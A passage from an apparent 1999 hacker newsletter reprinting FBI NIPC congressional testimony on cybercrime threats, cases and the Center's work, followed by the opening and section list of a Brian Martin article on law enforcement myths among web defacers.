      sympathizers of the Mexican Zapatista rebels attacked web pages of 
      Mexican financial institutions. And a Canadian government report 
      indicates that the Irish Republican Army has considered the use of 
      information operations against British interests. We are also concerned 
      that Aum Shinrikyo, which launched the deadly Sarin gas attack in the 
      Tokyo subway system, could use its growing expertise in computer 
      manufacturing and Internet technology to develop "cyber terrorism" 
      weapons for use against Japanese and U.S. interests. Thus while we have 
      yet to see a significant instance of "cyber terrorism" with widespread 
      disruption of critical infrastructures, all of these facts portend the use 
      of cyber attacks by terrorists to cause pain to targeted governments or 
      civilian populations by disrupting critical systems.

      Criminal Groups

      We are also beginning to see the increased use of cyber intrusions by 
      criminal groups who attack systems for purposes of monetary gain. For 
      example, in 1994 the U.S. Secret Service uncovered a $50 million phone 
      card scam that abused the accounts of
           AT&T, MCI, and Sprint 
      customers. In addition, in 1994-95 an organized crime group headquartered 
      in St. Petersburg, Russia, transferred $10.4 million from Citibank into 
      accounts all over the world. After surveillance and investigation by the 
      FBI's New York field office, all but $400,000 of the funds were recovered. 
      In another case, Carlos Felipe Salgado, Jr. gained unauthorized access to 
      several Internet Service Providers in California and stole 100,000 credit 
      card numbers with a combined limit of over $1 billion. The FBI arrested 
      him in the San Francisco International Airport when he tried to sell the 
      credit card numbers to a cooperating witness for $260,000. With the 
      expansion of electronic commerce, we expect to see an increase in hacking 
      by organized crime as the new frontier for large-scale theft.

      Just two weeks ago, two members of a group dubbed the "Phonemasters" were 
      sentenced after their conviction for theft and possession of unauthorized 
      access devices (18 USC §1029) and unauthorized access to a federal 
      interest computer (18 USC §1030).
           The "Phonemasters" are an 
      international group of criminals who penetrated the computer systems of 
      MCI, Sprint, AT&T, Equifax, and even the FBI's National Crime Information 
      Center (NCIC). Under judicially approved electronic surveillance orders, 
      the FBI's Dallas Field Office made use of new data intercept technology to 
      monitor the calling activity and modem pulses of one of the suspects, 
      Calvin Cantrell. Mr. Cantrell downloaded thousands of Sprint calling card 
      numbers, which he sold to a Canadian individual, who passed them on to 
      someone in Ohio. These numbers made their way to an individual in 
      Switzerland and eventually ended up in the hands of organized crime 
      groups in Italy. Mr. Cantrell was sentenced to two years as a result of 
      his guilty plea, while one of his associates, Cory Lindsay, was sentenced 
      to 41 months.

      The "Phonemasters" activities should serve as a wake up call for 
      corporate security. Their methods included "dumpster diving" to gather 
      old phone books and technical manuals for systems. They then used this 
      information to trick employees into giving up their
           logon and 
      password information. The group then used this information to break into 
      victim systems. It is important to remember that often "cyber crimes" are 
      facilitated by old fashioned guile, such as calling employees and 
      tricking them into giving up passwords. Good "cyber security" practices 
      must therefore address personnel security and "social engineering" in 
      addition to instituting electronic security measures.

      Virus Writers

      Virus writers are posing an increasingly serious threat to networks and 
      systems worldwide. As noted above, we have had several damaging computer 
      viruses this year, including the Melissa Macro Virus, the Explore.Zip 
      worm, and the CIH (Chernobyl) Virus.
           The NIPC frequently sends out 
      warnings regarding particularly dangerous viruses.

      Earlier this year, we reacted quickly to the spread of the Melissa Macro 
      Virus. While there are dozens of viruses released every day, the speedy 
      propagation of Melissa and its effects on networks caused us great 
      concern. Within hours of learning about the virus
           on Friday, March 
      26, 1999, we had coordinated with key cyber response components of DoD 
      and the Computer Emergency Response Team (CERT) at Carnegie-Mellon 
      University. Our Watch operation went into 24-hour posture and sent out 
      warning messages to federal agencies, state and local law enforcement, FBI 
      Field Offices, and the private sector. Because the virus affected systems 
      throughout the public, we also took the unusual step of issuing a public 
      warning through the FBI's Public Affairs Office and on our website. These 
      steps helped mitigate the damage by alerting computer users of the virus 
      and of protective steps they could take.

      On the investigative side, the NIPC acted as a central point of contact 
      for the Field Offices who worked leads on the case. A tip received by the 
      New Jersey State Police from America Online, and their follow-up 
      investigation with the FBI's Newark Field
           Office, led to the April 
      1, 1999 arrest of David L. Smith. Search warrants were executed in New 
      Jersey by the New Jersey State Police and FBI Special Agents from the 
      Newark Field Office.

      Just in the last few weeks we have seen reports on the Suppl Word Macro 
      virus, the toadie.exe virus, and the W97M/Thurs.A (or Thursday) virus. 
      This last virus has already infected over 5,000 machines, according to 
      news reports, and deletes files on victim's
           hard drives. The payload 
      of the virus is triggered on 12-13 and disables the macro virus 
      protection in Word 97. We are also concerned with the propagation of a 
      Trojan Horse called Back Orifice 2000, which allows malicious actors to 
      monitor or tamper with computers undetected by the users.

      Virus writers are not often broken out as a threat category, and yet they 
      often do more damage to networks than hackers do. The prevalence of 
      computer viruses reminds us that we all have to be very careful about the 
      attachments we open and we all must be
           sure to keep our anti-virus 
      software up-to-date.

      Hactivism

      Recently we have seen a rise in what has been dubbed "hacktivism"-- 
      politically motivated attacks on publicly accessible web pages or e-mail 
      servers. These groups and individuals overload e-mail servers and hack 
      into web sites to send a political message.
           While these attacks 
      generally have not altered operating systems or networks, they still 
      damage services and deny the public access to websites containing 
      valuable information and infringe on others' right to communicate. One 
      such group is called the "Electronic Disturbance Theater," which promotes 
      civil disobedience on-line in support of its political agenda regarding 
      the Zapatista movement in Mexico and other issues. This past spring they 
      called for worldwide electronic civil disobedience and have taken what 
      they term "protest actions" against White House and Department of Defense 
      servers. Supporters of Kevin Mitnick, recently convicted of numerous 
      computer security offenses, hacked into the Senate webpage and defaced it 
      in May and June of this past year. The Internet has enabled new forms of 
      political gathering and information sharing for those who want to advance 
      social causes; that is good for our democracy. But illegal activities 
      that disrupt e-mail servers, deface web-sites, and prevent the public 
      from accessing information on U.S. government and private sector web sites 
      should be regarded as criminal acts that deny others their First 
      Amendment rights to communicate rather than as an acceptable form of 
      protest.

      "Recreational" Hackers

      Virtually every day we see a report about "recreational hackers," or 
      "crackers," who crack into networks for the thrill of the challenge or 
      for bragging rights in the hacker community. While remote cracking once 
      required a fair amount of skill or computer
           knowledge, the 
      recreational hacker can now download attack scripts and protocols from 
      the World Wide Web and launch them against victim sites. Thus while 
      attack tools have become more sophisticated, they have also become easier 
      to use.

      These types of hacks are very numerous and may appear on their face to be 
      benign. But they can have serious consequences. A well-known example of 
      this involved a juvenile who hacked into the NYNEX (now Bell Atlantic) 
      telephone system that serviced the
           Worcester, Massachusetts area 
      using his personal computer and modem. The hacker shut down telephone 
      service to 600 customers in the local community. The resulting disruption 
      affected all local police and fire 911 services as well as the ability of 
      incoming aircraft to activate the runway lights at the Worcester airport. 
      Telephone service was out at the airport tower for six hours. The U.S. 
      Secret Service investigation of this case also brought to light a 
      vulnerability in 22,000 telephone switches nationwide that could be taken 
      down with four keystrokes. Because he was a juvenile, however, the hacker 
      was sentenced to only two years probation and 250 hours of community 
      service, and was forced to forfeit the computer equipment used to hack 
      into the phone system and reimburse the phone company for $5,000. This 
      case demonstrated that an attack against our critical communications hubs 
      can have cascading effects on several infrastructures. In this case, 
      transportation, emergency services, and telecommunications were disrupted. 
      It also showed that widespread disruption could be caused by a single 
      person from his or her home computer.

      Insider Threat

      The disgruntled insider is a principal source of computer crimes. 
      Insiders do not need a great deal of knowledge about computer intrusions, 
      because their knowledge of victim systems often allows them to gain 
      unrestricted access to cause damage to the system
           or to steal system 
      data. The 1999 Computer Security Institute/FBI report notes that 55% of 
      respondents reported malicious activity by insiders.

      There are many cases in the public domain involving disgruntled insiders. 
      For example, Shakuntla Devi Singla used her insider knowledge and another 
      employee's password and logon identification to delete data from a U.S. 
      Coast Guard personnel database
           system. It took 115 agency employees 
      over 1800 hours to recover and reenter the lost data. Ms. Singla was 
      convicted and sentenced to five months in prison, five months home 
      detention, and ordered to pay $35,000 in restitution.

      In another case, a former Forbes employee named George Parente hacked got 
      into Forbes systems using another employee's password and login 
      identification and crashed over half of Forbes' computer network servers 
      and erased all of the data on each of the
           crashed services. The data 
      could not be restored. The losses to Forbes were reportedly over 
      $100,000.

      Identifying the Intruder

      One major difficulty that distinguishes cyber threats from physical 
      threats is determining who is attacking your system, why, how, and from 
      where. This difficulty stems from the ease with which individuals can 
      hide or disguise their tracks by manipulating logs and
           directing 
      their attacks through networks in many countries before hitting their 
      ultimate target. The now well know "Solar Sunrise" case illustrates this 
      point. Solar Sunrise was a multi-agency investigation (which occurred 
      while the NIPC was being established) of intrusions into more than 500 
      military, civilian government, and private sector computer systems in the 
      United States, during February and March 1998. The intrusions occurred 
      during the build-up of United States military personnel in the Persian 
      Gulf in response to tension with Iraq over United Nations weapons 
      inspections. The intruders penetrated at least 200 unclassified U.S. 
      military computer systems, including seven Air Force bases and four Navy 
      installations, Department of Energy National Laboratories, NASA sites, and 
      university sites. Agencies involved in the investigation included the 
      FBI, DoD, NASA, Defense Information Systems Agency, AFOSI, and the 
      Department of Justice.

      The timing of the intrusions and links to some Internet Service Providers 
      in the Gulf region caused many to believe that Iraq was behind the 
      intrusions. The investigation, however, revealed that two juveniles in 
      Cloverdale, California and several individuals in Israel
           were the 
      culprits. Solar Sunrise thus demonstrated to the interagency community 
      how difficult it is to identify an intruder until facts are gathered in 
      an investigation, and why assumptions cannot be made until sufficient 
      facts are available. It also vividly demonstrated the vulnerabilities that 
      exist in our networks; if these individuals were able to assume "root 
      access" to DoD systems, it is not difficult to imagine what hostile 
      adversaries with greater skills and resources would be able to do. 
      Finally, Solar Sunrise demonstrated the need for interagency coordination 
      by the NIPC.

      Special Threat: Y2K Malicious Activity

      The main concern with the Y2K rollover is, of course, the possibility of 
      widespread service outages caused by the millennium date problem in older 
      computer systems. The President's Y2K Council has done an excellent job 
      in helping the nation prepare for the
           rollover event. Given our 
      overall mission under PDD 63, the NIPC's role with regard to Y2K will be 
      to maintain real-time awareness of intentional cyber threats or incidents 
      that might take place around the transition to 2000, disseminate warnings 
      to the appropriate government and private sector parties, and coordinate 
      the government's response to such incidents. We are not responsible for 
      dealing with system outages caused by the millennium bug. Because of the 
      possibility that there might be an increase in malicious activity around 
      January 1, 2000, we have formulated contingency plans both for NIPC 
      Headquarters and the FBI Field Offices.

      We are presently augmenting our existing relationships and 
      information-sharing mechanisms with relevant entities in the federal 
      government, such as the Information Coordination Center (ICC), state and 
      local governments, private industry, and the CERT/FIRST
           community. 
      Information will come to us from a variety of places, including FBI field 
      offices and Legal Attaches overseas, as well as the ICC. FBI field 
      offices are also tasked to establish Y2K plans for their regions of 
      responsibility. In essence, all of the activities that we will undertake 
      during the rollover period are ones we perform everyday. The difference 
      is that we will be prepared to conduct them at an increased tempo to deal 
      with any incidents occurring during the Y2K rollover.

      There is one potential problem associated with Y2K that causes us special 
      concern -- the possibility that malicious actors, foreign or domestic, 
      could use the Y2K remediation process to install malicious code in the 
      "remediated" software. Thousands of
           companies across the United 
      States and around the world are busy having their source code reviewed to 
      ensure that they are "Y2K compliant." Those who are doing the Y2K 
      remediation are almost always contractors who are given the status of a 
      trusted insider with broad authority to review and make changes to the 
      source code that runs information systems. These contractors could, 
      undetected, do any of the following to compromise systems:

           Install Trap Doors: By installing trap doors, intruders can later 
           gain access to a system through an opening that they have created 
           and then exploit or attack the system 
                    Obtain "Root 
           Access": Given their level of access, remediation companies can gain 
           the same extensive privileges as the system administrator, allowing 
           them to steal or alter information or engage in a "denial of 
           service" attack on the system. Implant Malicious Code: By implanting 
           malicious code, someone could place a logic bomb or a time-delayed 
           virus in a system that will later disrupt it. A malicious actor 
           could also implant a program to compromise passwords or other 
           aspects of system security. Map Systems: By mapping systems as a 
           trusted insider, a contractor can gain valuable information to sell 
           to economic competitors or even foreign intelligence agencies. 

      Systems can be compromised for any number of purposes, including foreign 
      intelligence activities, information warfare, industrial espionage, 
      terrorism, or organized crime. And since any vulnerabilities that are 
      implanted will persist as long as the software is in
           place, this is 
      a problem that will last well beyond January 1, 2000. Companies and 
      government agencies therefore need to determine how they will deal with 
      this potential "Post-Y2K problem" on their critical systems.

      We have little concrete evidence so far of vendors' planting malicious 
      code during remediation. But the threat is such that companies should 
      take every precaution possible. Of course, checking the remediation work 
      to make sure that no malicious code was
           implanted in a system is no 
      easy matter. If reviewing the millions of lines of code at issue were 
      simple, there would be little need for Y2K contractors in the first 
      place. Nevertheless, given the vulnerabilities that could be implanted in 
      critical systems, it is imperative that the client companies do as much as 
      possible to check the background of the companies doing their remediation 
      work, oversee the remediation process closely, and review new code as 
      closely as possible and remove any extraneous code. Further, companies 
      should test for trap doors and other known vulnerabilities to cracking. 
      Companies can also use "red teams" to try to crack the software and 
      further determine if trap doors exist.

      Status of the NIPC

      The NIPC is an interagency Center located at the FBI. Created in 1998, 
      the NIPC serves as the focal point for the government's efforts to warn 
      of and respond to cyber intrusions. In PDD-63, the President directed 
      that the NIPC "serve as a national critical
           infrastructure threat 
      assessment, warning, vulnerability, and law enforcement investigation and 
      response entity." The PDD further states that the mission of the NIPC 
      "will include providing timely warnings of intentional threats, 
      comprehensive analyses and law enforcement investigation and response."

      Thus, the PDD places the NIPC at the core of the government's warning, 
      investigation, and response system for threats to, or attacks on, the 
      nation's critical infrastructures. The NIPC is the focal point for 
      gathering information on threats to the infrastructures as
           well as 
      "facilitating and coordinating the Federal Government's response to an 
      incident." The PDD further specifies that the NIPC should include 
      "elements responsible for warning, analysis, computer investigation, 
      coordinating emergency response, training, outreach, and development and 
      application of technical tools."

      The NIPC has a vital role in collecting and disseminating information 
      from all relevant sources. The PDD directs the NIPC to "sanitize law 
      enforcement and intelligence information for inclusion into analyses and 
      reports that it will provide, in appropriate form, to
           relevant 
      federal, state, and local agencies; the relevant owners and operators of 
      critical infrastructures; and to any private sector information sharing 
      and analysis entity." The NIPC is also charged with issuing "attack 
      warnings or alerts to increases in threat condition to any private sector 
      information sharing and analysis entity and to the owners and operators."

      In order to perform its role, the NIPC is continuing to establish a 
      network of relationships with a wide range of entities in both the 
      government and the private sector. The PDD provides for this in several 
      ways. First, it states that the Center will "include
           representatives 
      from the FBI, U.S. Secret Service, and other investigators experienced in 
      computer crimes and infrastructure protection, as well as representatives 
      detailed from the Department of Defense, Intelligence Community and Lead 
      Agencies.1 Second, pursuant to the PDD, the NIPC has electronic links to 
      the rest of the government in order to facilitate the sharing of 
      information and the timely issuance of warnings. Third, the PDD directs 
      all executive departments and agencies to "share with the NIPC information 
      about threats and warning of attacks and actual attacks on critical 
      government and private sector infrastructures, to the extent permitted by 
      law." By bringing other agencies directly into the Center and building 
      direct communication linkages, the Center provides a means of coordinating 
      the government's cyber expertise and ensuring full sharing of 
      information, consistent with applicable laws and regulations.

      To accomplish its goals under the PDD, the NIPC is organized into three 
      sections:

      1) The Computer Investigations and Operations Section (CIOS) is the 
      operational and response arm of the Center. It program manages computer 
      intrusion investigations conducted by FBI Field Offices throughout the 
      country; provides subject matter experts,
           equipment, and technical 
      support to cyber investigators in federal, state, and local government 
      agencies involved in critical infrastructure protection; and provides a 
      cyber emergency response capability to help resolve a cyber incident.

      2) The Analysis and Warning Section (AWS) serves as the "indications and 
      warning" arm of the NIPC. The AWS reviews numerous government and private 
      sector databases, media, and other sources daily to disseminate 
      information that is relevant to any
           aspect of NIPC's mission, 
      including the gathering of indications of a possible attack. It provides 
      analytical support during computer intrusion investigations, performs 
      analyses of infrastructure risks and threat trends, and produces current 
      analytic products for the national security and law enforcement 
      communities, the owners-operators of the critical infrastructures, and 
      the computer network managers who protect their systems. It also 
      distributes tactical warnings, alerts, and advisories to all the relevant 
      partners, informing them of exploited vulnerabilities and threats.

      3) The Training, Outreach and Strategy Section (TOSS) coordinates the 
      training and continuing education of cyber investigators within the FBI 
      Field Offices and other federal, state and local law enforcement 
      agencies. It also coordinates our liaison with private
           sector 
      companies, state and local governments, other government agencies, and 
      the FBI's Field Offices. In addition, this section manages our collection 
      and cataloguing of information concerning "key assets" -- i.e., critical 
      individual components within each infrastructure sector, such as specific 
      power grids, telecommunications switch nodes, or financial systems -- 
      across the country.

      To facilitate our ability to investigate and respond to attacks, the FBI 
      has created the National Infrastructure Protection and Computer Intrusion 
      (NIPCI) Program in the 56 FBI Field Offices across the country. Under 
      this program, managed by the NIPC at
           FBIHQ, "NIPCI" squads 
      consisting of at least seven agents have been created in 10 Field 
      Offices: Washington D.C., New York, San Francisco, Chicago, Dallas, Los 
      Angeles, Atlanta, Charlotte, Boston, and Seattle. For FY 2000, we intend 
      to reallocate our existing field agent compliment to create six additional 
      squads in Baltimore, Houston, Miami, Newark, New Orleans, and San Diego. 
      Because of resource constraints, the other field offices have only 1 - 5 
      agents dedicated to working NIPCIP matters.

      The NIPC's mission clearly requires the involvement and expertise of many 
      agencies other than the FBI. This is why the NIPC, though housed at the 
      FBI, is an interagency center that brings together personnel from all the 
      relevant agencies. In addition to our 79
           FBI employees, the NIPC 
      currently has 28 representatives from: DoD (including the military 
      services and component agencies), the CIA, DOE, NASA, the State 
      Department as well as federal law enforcement, including the U.S. Secret 
      Service, the U.S. Postal Service and, until recently, the Oregon State 
      Police. The NIPC is in the process of seeking additional representatives 
      from State and local law enforcement.

      But clearly we cannot rely on government personnel alone. Much of the 
      technical expertise needed for our mission resides in the private sector. 
      Accordingly, we rely on contractors to provide technical and other 
      assistance. We are also in the process of
           arranging for private 
      sector representatives to serve in the Center full time. In particular, 
      the Attorney General and the Information Technology Association of 
      America (ITAA) announced in April that the ITAA would detail personnel to 
      the NIPC as part of a "Cybercitizens Partnership" between the government 
      and the information technology (IT) industry. Information technology 
      industry representatives serving in the NIPC would enhance our technical 
      expertise and our understanding of the information and communications 
      infrastructure.

      NIPC Activities

      The NIPC's operations can be divided into three categories: protection, 
      detection, and response.

      Protection

      Our role in protecting infrastructures against cyber intrusions is not to 
      advise the private sector on what hardware or software to use or to act 
      as their systems administrator. Rather, our role is to provide 
      information about threats, ongoing incidents, and exploited
           
      vulnerabilities so that government and private sector system 
      administrators can take the appropriate protective measures. The NIPC is 
      developing a variety of products to inform the private sector and other 
      government agencies of threats, including: warnings, alerts, and 
      advisories; the Infrastructure Protection Digest; Critical Infrastructure 
      Developments; CyberNotes; and topical electronic reports. These products 
      are designed for tiered distribution to both government and private 
      sector entities consistent with applicable law and the need to protect 
      intelligence sources and methods, and law enforcement investigations. For 
      example, the Infrastructure Protection Digest is a quarterly publication 
      providing analyses and information on critical infrastructure issues. The 
      Digest provides analytical insights into major trends and events 
      affecting the nation's critical infrastructures. It is usually published 
      in both classified and unclassified formats and reaches national security 
      and civilian government agency officials as well as infrastructure owners. 
      Critical Infrastructure Developments is distributed bi-weekly to private 
      sector entities. It contains analyses of recent trends, incidents, or 
      events concerning critical infrastructure protection. CyberNotes is 
      another NIPC publication designed to provide security and information 
      system professionals with timely information on cyber vulnerabilities, 
      hacker exploit scripts, hacker trends, virus information, and critical 
      infrastructure-related best practices. It is published twice a month on 
      our website and disseminated in hard copy to government and private sector 
      audiences.

      The NIPC, in conjunction with the private sector, has also developed an 
      initiative called "InfraGard" to expand direct contacts with the private 
      sector infrastructure owners and operators and to share information about 
      cyber intrusions and exploited
           vulnerabilities, with the goal of 
      increasing protection of critical infrastructures. The initiative 
      encourages the exchange of information by government and private sector 
      members through the formation of local InfraGard chapters within the 
      jurisdiction of each of the 56 FBI Field Offices. The initiative includes 
      an intrusion alert network using encrypted e-mail, a secure website and 
      local chapter activities. A critical component of InfraGard is the 
      ability of industry to provide information on intrusions to the NIPC and 
      the local FBI Field Office using secure communications in both a detailed 
      and a "sanitized" format. The local FBI Field Offices can, if 
      appropriate, use the detailed version to initiate an investigation, while 
      the NIPC can analyze that information in conjunction with law enforcement, 
      intelligence, open source, or other industry information to determine if 
      the intrusion is part of a broader attack on numerous sites. The NIPC can 
      simultaneously use the sanitized version to inform other members of the 
      intrusion without compromising the confidentiality of the reporting 
      company. InfraGard also provides us with a regular, secure method of 
      providing additional security related to information to the private 
      sector based on information we obtained from law enforcement 
      investigations and other sources. InfraGard has recently been expanded to 
      a total of 21 FBI Field Offices. The program will be expanded to the rest 
      of the country later this year.

      Under PDD-63, the NIPC also serves as the U.S. government's "Lead Agency" 
      for the Emergency Law Enforcement Services Sector. As Sector Liaison for 
      law enforcement, the NIPC and a "Sector Coordinator" committee 
      representing state and local law
           enforcement are formulating a plan 
      to reduce the vulnerabilities of state and local law enforcement to cyber 
      attack and are developing methods and procedures to share information 
      within the sector. The NIPC and the FBI Field Offices are also working 
      with the State and local law enforcement agencies to raise awareness with 
      regard to vulnerabilities in this sector.

      Detection

      Given the ubiquitous vulnerabilities in existing Commercial Off-the-Shelf 
      (COTS) software, intrusions into critical systems are inevitable for the 
      foreseeable future. Thus, detection of these intrusions is critical if 
      the U.S. Government and critical infrastructure
           owners and operators 
      are going to be able to respond. To improve our detection capabilities, 
      we first need to ensure that we are fully collecting, sharing, and 
      analyzing all extant information from all relevant sources. It is often 
      the case that intrusions can be discerned simply by collecting bits of 
      information from various sources; conversely, if we don't collate these 
      pieces of information for analysis, we might not detect the intrusions at 
      all. Thus the NIPC's role in collecting information from all sources and 
      performing analysis in itself aids the role of detection.

      The NIPC is currently concentrating on developing and implementing 
      reliable mechanisms for receiving, processing, analyzing and storing 
      information provided by government and private sector entities. This 
      information is being used by NIPC analysts to develop
           tactical and 
      strategic warning indicators of cyber threats and attacks. The NIPC and 
      North American Energy Reliability Council (NERC) have established an 
      industry-based Electric Power Working Group to develop tactical warning 
      indicators and information sharing procedures for the electric power 
      sector. The NIPC also has developed mechanisms to share cyber incident 
      information with both government agencies and private companies in the 
      telecommunications sector. In the long-term, our indications and warning 
      efforts will require participation by the Intelligence Community, DoD, 
      the sector lead agencies, other government agencies, federal, State and 
      local law enforcement, and the private sector owners and operators of the 
      infrastructures.

      Another initiative that will aid in the detection of network intrusions 
      is the "Federal Intrusion Detection Network" ("FIDNet"), a National 
      Security Council initiative that would be managed by the General Services 
      Administration. Many agencies already have their
           own intrusion 
      detection systems. FIDNet will enhance agencies' cyber security by 
      linking their intrusion detection systems together so that suspicious 
      patterns of activity can be detected and alerts issued across agencies. 
      The goal of FIDNet is to detect intrusions in the federal civilian 
      agencies' critical computer systems. (Contrary to recent press reports, 
      FIDNet will not extend to private sector systems.) To do this, critical 
      network event data will be captured and analyzed so that patterns can be 
      established and, in the event of an attack, warnings issued. FIDNet will 
      be the civilian agency counterpart for the automated detection system 
      currently deployed across Department of Defense systems. FIDNet, under 
      current plans, will consist of the following: sensors at key network 
      nodes; a centrally managed GSA facility, the Federal Intrusion Detection 
      Analysis Center (FIDAC), to analyze the technical data from the nodes; 
      and secure storage and dissemination of collected information. The NIPC 
      will receive reports from the FIDAC when there is evidence of a possible 
      federal crime (such as a violation of 18 U.S.C §1030). Using all-source 
      information, the Center would then analyze intrusions and other 
      significant incidents to implement response efforts and support and 
      inform national security decision-makers. FIDNet-derived information would 
      also be combined with all-source reporting available to the NIPC to 
      produce analysis and warning products which will be distributed to 
      government, private sector companies, and the public, as appropriate.

      Response

      The NIPC's and the FBI's role in response principally consists of 
      investigating intrusions to identify the responsible party and issuing 
      warnings to affected entities so that they can take appropriate 
      protective steps. As discussed earlier, in the cyber world,
           
      determining what is happening during a suspected intrusion is difficult, 
      particularly in the early stages. An incident could be a system probe to 
      find vulnerabilities or entry points, an intrusion to steal or alter data 
      or plant sniffers or malicious code, or an attack to disrupt or deny 
      service. The cyber crime scene is totally different from a crime scene in 
      the physical world in that it is dynamic -- it grows, contracts, and can 
      change shape. Determining whether an intrusion is even occurring can 
      often be difficult in the cyber world, and usually a determination cannot 
      be made until after an investigation is initiated. In the physical world, 
      by contrast, one can see instantly if a building has been bombed or an 
      airliner brought down.

      Further, the tools used to perpetrate a cyber terrorist attack can be the 
      same ones used for other cyber intrusions (simple hacking, foreign 
      intelligence gathering, organized crime activity to steal data, etc.), 
      making identification and attribution more difficult. The
           
      perpetrators could be teenagers, criminal hackers, electronic protestors, 
      terrorists, foreign intelligence services, or foreign military. In order 
      to attribute an attack, FBI Field Offices can gather information from 
      within the United Sates using either criminal investigative or foreign 
      counter-intelligence authorities, depending on the circumstances. This 
      information is necessary not only to identify the perpetrator but also to 
      determine the size and nature of the intrusion: how many systems are 
      affected, what techniques are being used, and what the purpose of the 
      intrusions is--disruption, espionage, theft of money, etc.

      Relevant information also could come from the U.S. Intelligence Community 
      (if the attack is from a foreign source), other U.S. government agency 
      information, state and local law enforcement, private sector contacts, 
      the media, other open sources, or foreign
           law enforcement contacts. 
      The NIPC's role is to coordinate and collect this information.

      On the warning side, if we determine an intrusion is imminent or 
      underway, the Watch and Warning Unit is responsible for formulating 
      warnings, alerts, or advisories and quickly disseminating them to all 
      appropriate parties. If we determine an attack is underway,
           we can 
      issue warnings using an array of mechanisms, and send out sanitized and 
      unsanitized warnings to the appropriate parties in the government and the 
      private sector so they can take immediate protective steps. The Center 
      has issued 22 warnings, alerts, or advisories between January 4 and 
      September 22, 1999.

      Two other NIPC initiatives are directed to improving our response 
      capabilities. First, to respond appropriately, our field investigators 
      need the proper training. Training FBI and other agencies' investigators 
      is critical if we hope to keep pace with the rapidly
           changing 
      technology and be able to respond quickly and effectively to computer 
      intrusions. The NIPC has been very active in training. These training 
      efforts will help keep us at the cutting edge of law enforcement and 
      national security in the 21st Century. The Center provided training to 314 
      attendees in FY 1998. In FY 99, over 383 FBI Agents, state and local law 
      enforcement representatives, and representatives from other government 
      agencies have taken FBI-sponsored courses on computer intrusions and 
      network analysis, the workings of the energy and telecommunications key 
      assets, and other relevant topics.

      Second, our Key Asset Initiative (KAI) facilitates response to threats 
      and intrusion incidents by building liaison and communication links with 
      the owners and operators of individual companies in the critical 
      infrastructure sectors and enabling contingency planning.
           The KAI 
      began in the 1980s and focused on physical vulnerabilities to terrorism. 
      Under the NIPC, the KAI has been reinvigorated and expanded to focus on 
      cyber vulnerabilities as well. The KAI initially will involve determining 
      which assets are key within the jurisdiction of each FBI Field Office and 
      obtaining 24-hour points of contact at each asset in cases of emergency. 
      Eventually, if future resources permit, the initiative will include the 
      development of contingency plans to respond to attacks on each asset, 
      exercises to test response plans, and modeling to determine the effects of 
      an attack on particular assets. FBI Field Offices will be responsible for 
      developing a list of the assets within their respective jurisdictions, 
      while the NIPC will maintain the national database. The KAI is being 
      developed in coordination with DOD and other agencies.

      Conclusion

      While the NIPC has accomplished much over the last year in building the 
      first national-level operational capability to respond to cyber 
      intrusions, much work remains. We have learned from cases that successful 
      network investigation is highly dependent on
           expert investigators 
      and analysts, with state of the art equipment and training. We have begun 
      to build that capability both in the FBI Field Offices and at NIPC 
      Headquarters, but we have much work ahead if we are to build our 
      resources and capability to keep pace with the changing technology and 
      growing threat environment and be capable of responding to several major 
      incidents at once.

      We have also demonstrated how much can be accomplished when agencies work 
      together, share information, and coordinate their activities as much as 
      legally permissible. But on this score, too, more can be done to achieve 
      the interagency and public-private
           partnerships called for by PDD- 
      63. We need to ensure that all relevant agencies are sharing information 
      about threats and incidents with the NIPC and devoting personnel and 
      other resources to the Center so that we can continue to build a truly 
      interagency, "national" center. Finally, we must work with Congress to 
      make sure that policy makers understand the threats we face in the 
      Information Age and what measures are necessary to secure our Nation
       against them. I look forward to working with the Members and
      Staff of this Committee to address these vitally important issues.

      Thank you.

      1 The Lead Agencies are: Commerce for information and communications; 
      Treasury for banking and finance; EPA for water supply; Transportation 
      for aviation, highways, mass transit, pipelines, rail, and waterborne 
      commerce; Justice/FBI for emergency law enforcement services; Federal 
      Emergency Management Agency for emergency fire service and continuity 
      of government; Health and Human Services for public health services. 
      The Lead Agencies for special functions are: State for foreign affairs,
      CIA for intelligence, Defense for national defense, and Justice/FBI for
      law enforcement and internal security. The NIPC is performing the lead 
      agency and special functions roles specified for "Justice/FBI" in the PDD.

      @HWA
      
      
04.0  Defacing Websites: Is it Worth It? 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/

      contributed by Brian Martin 
      Why have there been so many web page defacements
      and so few arrests lately? What should you do if Law
      Enforcement comes knocking at your door looking to
      take all your computer equipment and other electronic
      equipment and media. Brian Martin takes a look at these
      questions and more in the latest Buffer Overflow article,
      "Is it worth it." 

      Buffer Overflow       
      http://www.hackernews.com/orig/buffero.html
      

      Is it worth it?


      Dispelling the myths of law enforcement and hacking
      By: Brian Martin 


      A recent chat with an active web page defacer made me
      realize just how naive some crackers can be about law
      enforcement (LE). Despite a large amount of cases being
      brought against crackers in the past, there is still an air of
      uncertainty and a handful of myths lingering in their minds.
      The problem can be tracked back to two types of
      individuals that contribute to the problem. I will touch a
      bit on the problem and spend the rest of this piece trying
      to clear up some of the myths, as well as bring to light
      new developments in law enforcement's handling of
      computer crime.

      The first and foremost problem is uninformed individuals
      that propogate (or make up) supposed facts about law
      enforcement procedure. Rather than using common sense
      to dispel the rumor or taking a little time to research what
      they say, they blindly pass on errata and treat it as
      gospel. A good example of this can be found in "Inside
      Happy Hacker, Jan. 19, 1999", where Carolyn Meinel
      asserts "They have *not* sent me (Carolyn) a "target
      letter." This is a letter that formally tells someone that
      he or she is a suspect." There is absolutely no foundation
      for this outlandish rumor. Anyone under FBI investigation
      should know this. Meinel was questioned extensively about
      her involvement in the defacing of the New York Times
      web site. Despite this questioning and obvious
      investigation, she still made this ridiculous claim. The FBI
      investigation went so far as to ask her to take a
      polygraph test! Going against track record, Meinel did the
      right thing and refused to. More on polygraphs later.

      The second problem arises from those close to, or
      involved in an FBI raid and investigation. After waking to
      gunpoint and watching agents harass family and
      sometimes neighbors, they see all of their equipment
      carted out the door. Inevitably, the first thing they do is
      call their friends and warn them about what happened.
      Adrenaline still pumping, they tend to exaggerate the
      events that just occured. A question about another
      cracker may lead to "Dood, Joe.. they are coming to raid
      you next!" One thing often doesn't mean another.

      So, let's set some minds at ease and answer questions
      about how law enforcement works. Disclaimer: If anything
      in this article is incorrect, please e-mail me and let me
      know! The information presented here is accurate to the
      best of my knowledge. I have consulted with one FBI
      agent and two DCIS agents to verify as much as I could.

              Sections:

              1. Who's investigating you?
              2. LE Resources
              3. The Raid
              4. What are they charging me with?
              5. The Polygraph 
              6. Copping a plea
              7. Punishment
              8. Why haven't they busted me yet?




